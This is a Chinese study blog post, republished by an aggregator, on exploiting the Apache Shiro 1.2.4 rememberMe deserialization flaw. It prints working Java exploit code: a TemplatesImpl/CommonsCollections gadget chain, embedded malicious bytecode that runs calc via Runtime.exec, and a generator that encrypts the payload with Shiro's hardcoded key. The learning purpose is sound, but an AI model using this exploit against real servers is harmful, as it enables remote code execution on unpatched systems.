[Java反序列化]Shiro反序列化学习
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java反序列化]Shiro反序列化学习相关的知识,希望对你有一定的参考价值。
前言
看了点Servlet
就回来直接看《Java安全漫谈》了,赶紧学点东西,过几天开学回去背sb马原就学不了了。
学习的是**《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》**,因为之前刚把TemplatesImpl
动态加载字节码还有它的应用CC3给学了,所以学习一下这篇文章。P神主要的还是结合CC6这个通用链,来对1.2.4及其之前的shiro存在的漏洞进行攻击,其中利用TemplatesImpl
来对CC6进行改进。我个人感觉其实叫CC3在Shiro
的应用更为确切,所以我也是主要对CC3进行修改。来进行利用。
Shiro的基本了解
关于Shiro
第一反应肯定就是rememberMe
。了解一下:
为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本及其之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。
这个漏洞也叫shiro-550
流程是这样的:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
shiro
的特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
shiro<=1.2.4的版本中,这个固定的key位于org.apache.shiro.mgt.AbstractRememberMeManager
:
public abstract class AbstractRememberMeManager implements RememberMeManager {
/**
* private inner log instance.
*/
private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
/**
* The following Base64 string was generated by auto-generating an AES Key:
* <pre>
* AesCipherService aes = new AesCipherService();
* byte[] key = aes.generateNewKey().getEncoded();
* String base64 = Base64.encodeToString(key);
* </pre>
* The value of 'base64' was copied-n-pasted here:
*/
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
因为学习环境中加上了CommonsCollections,因此反序列化利用CC。
分析
正常构造POC就是这样:
byte[] payloads = new CommonsCollections6().getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
得到CC6的字节数组,然后对其进行AES加密再进行BASE64加密,得到payload。这里利用了shiro内置的类进行加密。
然后打过去,会发现报了错:
[L
是一个JVM的标记,说明实际上这是一个数组,也就是说不能加载这个Transformer[]
。
具体出了什么问题不是目前的我们研究的重点,具体可以参考一下参考链接中的文章。
结论就是,shiro
的反序列化利用中,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
所以就要想办法利用TemplatesImpl
的动态加载字节码来防止出现数组了。
联想一下CC3的后半部分:
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","feng");
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)
};
Transformer[] trueTransformers = new Transformer[]{
new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
这里也用到了数组,但是只有两个元素,想办法不用数组的简化关键就在于,ConstantTransformer
的省略。
为什么可以省略?其实并不是省略,关键就在于在整个CC3中,整个链子调用到了LazyMap
的get()
方法的时候:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
接下来本来是应该让调用了那个Chainedtransformer
的transform
,然后依次调用数组中的transformer
。但是关键是,factory.transform(key)
是把key
给传了进去。也就是说,其实这个传入的key
完全可以代替一个ConstantTransformer
。这样一简化,Transformer[]
里面只有一个了,就干脆直接用了,不需要用chain
了。
既然有了思路,再写一下。首先字节码的处理:
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","feng");
然后产生一个fakeTransformers
,用来防止在构造的过程中弹了计算器。真正的Transformers
不用数组,剩下的直接抄CC3就可以了:
Transformer fakeTransformers = new ConstantTransformer(1);
Transformer trueTransformers = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,fakeTransformers);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"feng2");
key
的话就是本来的ConstantTransformer
里面的东西了。
接下来就是把fake换成true:
outerMap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,trueTransformers);
byte[] bytes = serialize(expMap);
unserialize(bytes);
构造完成!实际上只是在CC3的基础上,把数组改掉就可以了。
产生payload然后去打即可:
package com.summer.cc6;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public byte[] getPayload() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","feng");
Transformer fakeTransformers = new ConstantTransformer(1);
Transformer trueTransformers = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,fakeTransformers);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"feng2");
outerMap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,trueTransformers);
byte[] bytes = serialize(expMap);
return bytes;
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
package com.summer.shiro;
import com.summer.cc6.CommonsCollections6;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.util.Base64;
public class ShiroLearn {
public static void main(String[] args) throws Exception{
createPayload();
}
public static void createPayload() throws Exception{
byte[] payloads = new CommonsCollections6().getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
一个小改动就是:
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
利用了javassist
:
这是一个字节码操纵的第三方库,可以帮助我将恶意类 生成字节码再交给 TemplatesImpl 。
很方便了,使用的话直接去maven仓库在pom.xml里写依赖就可以用了。
P神也提到了这个:
Shiro不是遇到Tomcat就一定会有数组这个问题
Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了
总结
也算是第一次接触shiro了,只不过其实只能算最前面的知识叭,因为主要还是去学习CC3的改动(CC6的改动),去了解动态加载字节码。加油加油。
参考链接
《Java安全漫谈》
https://www.freebuf.com/vuls/264079.html
https://blog.zsxsoft.com/post/35
以上是关于[Java反序列化]Shiro反序列化学习的主要内容,如果未能解决你的问题,请参考以下文章